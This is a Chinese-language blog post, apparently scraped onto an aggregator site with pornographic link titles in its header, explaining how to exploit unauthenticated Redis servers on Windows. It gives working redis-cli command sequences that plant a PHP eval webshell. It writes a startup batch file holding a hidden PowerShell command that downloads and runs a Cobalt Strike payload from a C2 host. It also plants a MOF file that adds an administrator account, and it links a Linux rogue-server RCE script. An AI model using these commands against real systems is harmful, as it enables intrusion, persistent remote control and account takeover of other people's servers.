日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

windows php cli 后台运行_【续】windows环境redis未授权利用方式梳理

發布時間:2025/3/20 php 22 豆豆
生活随笔 收集整理的這篇文章主要介紹了 windows php cli 后台运行_【续】windows环境redis未授权利用方式梳理 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

01

Redis未授權產生原因

1.redis綁定在0.0.0.0:6379默認端口,直接暴露在公網,無防火墻進行來源信任防護。

2.沒有設置密碼認證,可以免密遠程登錄redis服務

02

漏洞危害

1.信息泄露,攻擊者可以惡意執行flushall清空數據

2.可以通過eval執行lua代碼,或通過數據備份功能往磁盤寫入后門文件

3.若以root身份運行,攻擊者可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器。

03

利用方式01-寫入webshell

寫入webshell

1.獲取web絕對路徑,直接寫入webshell

redis-cli.exe -h redis-server] -p 6379redis redis-server> CONFIG SET dir c:/phpstudy/wwwOKredis redis-server> CONFIG SET dbfilename shell.phpOKredis redis-server> set x “<?php @eval($_POST['a']) ?>”OKredis redis-server> saveOK

直接訪問shell.php即可

04

利用方式02-啟動項寫入

windows下的開機啟動項的目錄為

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

寫入方式有很多,這里我們使用Cobalt Strike來進行演示

先啟動CS服務端 ,命令如下:

root@kali:~/cobaltstrike4.1# ./teamserver csip 123456

在啟動客戶端,輸入密碼和地址

添加一個Listener 監聽器

選擇Attacks – Web Drive-By – Script Web Delivery,選擇剛才添加的Listener

點擊Launch之后生成如下代碼

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))"

直接保存為1.bat即可

其中存在兩個小細節,一個是由于dbfile本身是有內容的,因此命令要正常運行必須先換行,經過測試需要兩個換行符rn才能正常運行,還有一個是由于本身執行命令中也有雙引號,因此需要加入轉義

redis-cli.exe -h 目標ip -p 6379 redis 目標ip:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“ OK redis 目標ip:6379> CONFIG SET dbfilename 1.bat OK?redis?目標ip:6379>set?x?"/r/n/r/npowershell.exe?-nop?-w?hidden?-c?"IEX?((new-object?net.webclient).downloadstring('http://csip:80/a'))"/r/n/r/n

注意這里的雙引號要轉義,windwos路徑的start menu中間一個空格

OK redis 192.168.1.101:6379> save OK

查看服務器啟動項,發現正常寫入命令

重啟目標機器,成功上線

05

利用方式03-寫入mof

如果由于不能重啟機器也無法獲取web目錄,想到Mof提權,環境限制只能為win2003。

簡單描述一下mof提權的原理:

mof是windows系統的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管對象格式”其作用是每隔五秒就會去監控進程創建和死亡。其實就是有了mysql的root權限了以后,然后使用root權限去執行我們上傳的mof。隔了一定時間以后這個mof就會被執行,這個mof當中有一段是vbs腳本,這個vbs大多數的是cmd的添加管理員用戶的命令。

也就是說在`c:/windows/system32/wbem/mof/`目錄下的mof文件會每5秒自動執行一次,這樣就不需要重啟機器就能獲取權限了。

首先將如下代碼保存為admin.txt文件:

#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };

此處要執行的命令為添加名為admin的用戶

然后執行

(echo -e "nn"; cat admin.txt; echo -e "nn") > foo.txt

切換到redis目錄,運行如下命令

過一會就看到用戶添加成功了。(本地測試一直未成功,寫入mof文件夾成功,但是執行一直到bad文件夾里)

補充一個linux下的利用方式:

在2019年7月7日結束的WCTF2019 Final上,LC/BC的成員Pavel Toporkov在分享會上介紹了一種關于redis新版本的RCE利用方式

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

利用腳本如下

https://github.com/LoRexxar/redis-rogue-server

實戰在生產環境下用還是會有很多問題的

1. redis數據量稍微大一點,寫shell到文件之后,php因為文件太大是會拒絕執行的

2. Ubuntu,Debian寫計劃任務反彈無用

3. 寫/etc/passwd會覆蓋原有/etc/passwd,不可能改了再改回來

4. 生產環境下用`KEY *` 這樣的命令直接炸

【往期推薦】

未授權訪問漏洞匯總

干貨|常用滲透漏洞poc、exp收集整理

記一次HW實戰筆記 | 艱難的提權爬坑

【超詳細】Fastjson1.2.24反序列化漏洞復現

【超詳細】CVE-2020-14882 | Weblogic未授權命令執行漏洞復現

【奇淫巧技】如何成為一個合格的“FOFA”工程師

走過路過的大佬們留個關注再走唄

往期文章有彩蛋哦

總結

以上是生活随笔為你收集整理的windows php cli 后台运行_【续】windows环境redis未授权利用方式梳理的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。